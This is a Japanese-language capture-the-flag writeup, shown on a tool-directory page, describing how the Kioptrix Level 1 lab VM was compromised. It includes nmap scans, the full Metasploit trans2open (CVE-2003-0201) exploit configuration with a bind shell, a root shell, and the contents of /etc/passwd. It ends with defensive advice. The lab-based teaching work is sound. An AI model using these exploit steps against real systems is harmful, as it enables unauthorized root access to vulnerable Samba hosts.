Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pentest-writeups — Kioptrix レベル1 解説 - CVE-2003-0201 Samba trans2open | Kitploit
ツール/GitHubGitHub/americooo/pentest-writeups
特権昇格偵察脆弱性分析エクスプロイトポストエクスプロイトCTFペネトレーションテスト学習と教育ラボと実践
GitHubamericooo/pentest-writeups

pentest-writeups

Kioptrix レベル1 解説 - CVE-2003-0201 Samba trans2open

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pentest-writeups

Kioptrix Level 1 のwriteup - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — ペネトレーションテスト Writeup

著者: Amirbek Raxmatullayev (@americo_444)
日付: 2026-06-17
プラットフォーム: VulnHub
難易度: 初心者向け
目的: root権限の取得


1. 環境設定

コンポーネント詳細
ホストOSUbuntu 26.04
ハイパーバイザーQEMU/KVM
ターゲットKioptrix Level 1 (VMDK)
攻撃者IP192.168.56.1
ターゲットIP192.168.56.101

備考: VirtualBoxは、DKMS KVM名前空間の競合によりカーネル7.0.0-22-genericと互換性がありませんでした。QEMU/KVMに切り替え、VMDKを変換せずに直接ロードしました。

root@kitploit:~
qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. 偵察

2.1 ホストの発見

root@kitploit:~
nmap -sn 192.168.56.0/24

結果: ターゲットが 192.168.56.101 で特定されました

2.2 全ポート・サービススキャン

root@kitploit:~
nmap -sV -sC -p- 192.168.56.101

開放ポート:

2.3 SMBバージョン列挙

root@kitploit:~
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

結果: Samba 2.2.1a — 深刻な脆弱性のあるバージョンであることが確認されました。


3. 脆弱性分析

CVE-2003-0201 — Samba trans2open バッファオーバーフロー

説明:
Samba 2.2.x は trans2open 関数にスタックベースのバッファオーバーフロー脆弱性を含んでいます。これにより、認証されていないリモート攻撃者が root として任意のコードを実行できます。

影響を受けるバージョン: Samba 2.0.x — 2.2.8
CVSSスコア: 10.0 (Critical)
エクスプロイトモジュール: exploit/linux/samba/trans2open


4. エクスプロイテーション

4.1 Metasploit 設定

root@kitploit:~
msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

なぜ bind_tcp で reverse_tcp ではないのか?
reverse_tcp ペイロードは、Kioptrix VM が NAT/ブリッジ設定経由で攻撃者に接続できなかったため失敗しました。bind_tcp では攻撃者がターゲットに接続するため、被害者からの発信接続は不要です。

4.2 エクスプロイト出力

root@kitploit:~
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

シェル取得完了! ✅


5. ポストエクスプロイテーション

root@kitploit:~
whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

システム情報:

  • OS: Red Hat Linux, カーネル 2.4.7 (2001年ビルド)
  • 検出されたローカルユーザー: root, john, harold

6. 攻撃チェーン

root@kitploit:~
[Attacker: 192.168.56.1]
        |
        | Step 1: nmap フルポートスキャン
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a 特定
        v
[Metasploit — trans2open エクスプロイト]
        |
        | Step 3: スタックバッファオーバーフローの発動
        v
[ポート4444でバインドシェル開放]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. 重要な学び

学んだこと:

  • VirtualBoxが使用できない場合にQEMU/KVMでラボ環境を構築する方法
  • nmap -sV -sC によるサービスフィンガープリント
  • Metasploit 補助モジュールを使用したSMB列挙
  • CVE-2003-0201 の理解 — スタックバッファオーバーフローの仕組み
  • bind_tcp と reverse_tcp ペイロードの違いと、それぞれの使用状況

防御推奨事項 (ブルーチーム):

  1. Samba をバージョン3.x以降にアップグレードする
  2. ファイアウォールでポート139/445を制限する — 信頼できる内部ホストのみ許可
  3. 利用可能なすべてのOSおよびサービスパッチを適用する
  4. ネットワークセグメンテーションを実装する — SMBを外部に公開しない
  5. SMBに対するバッファオーバーフローの試行を検出するIDS/IPSルールを導入する

8. 使用ツール

ツール目的
nmapポートスキャン、サービス/バージョン検出
Metasploit FrameworkSMB列挙、エクスプロイテーション
QEMU/KVMラボ仮想化
arp-scanホスト発見

9. 参考文献

  • CVE-2003-0201 — NVD
  • Rapid7 — trans2open モジュール
  • VulnHub — Kioptrix Level 1

執筆者: Amirbek Raxmatullayev | BEK Coders Security Research | 2026

ツールをダウンロード
ポートサービスバージョン
22/tcpSSHOpenSSH 2.9p2
80/tcpHTTPApache 1.3.20
111/tcpRPCrpcbind 2
139/tcpSMBSamba 2.2.1a
443/tcpHTTPSmod_ssl/2.8.4
32768/tcpStatusRPC #100024